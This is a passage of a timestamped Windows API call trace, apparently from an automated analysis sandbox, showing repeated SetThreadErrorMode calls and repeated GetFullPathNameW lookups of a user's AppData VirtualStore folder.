lpOldMode=0x1adfd0) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.976] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.977] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.978] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.979] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae0b0) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae000) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfc0) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ae080) returned 1 [0094.980] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adfd0) returned 1 [0094.981] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1adf90) returned 1 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.570] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.571] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.572] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.573] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.574] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", lpFilePart=0x0) returned 0x38 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", nBufferLength=0x105, lpBuffer=0x1ae010, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore\\", lpFilePart=0x0) returned 0x39 [0106.575] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\VirtualStore", nBufferLength=0x105, lpBuffer=0x1ae070, lpFilePart=0x0 | out: 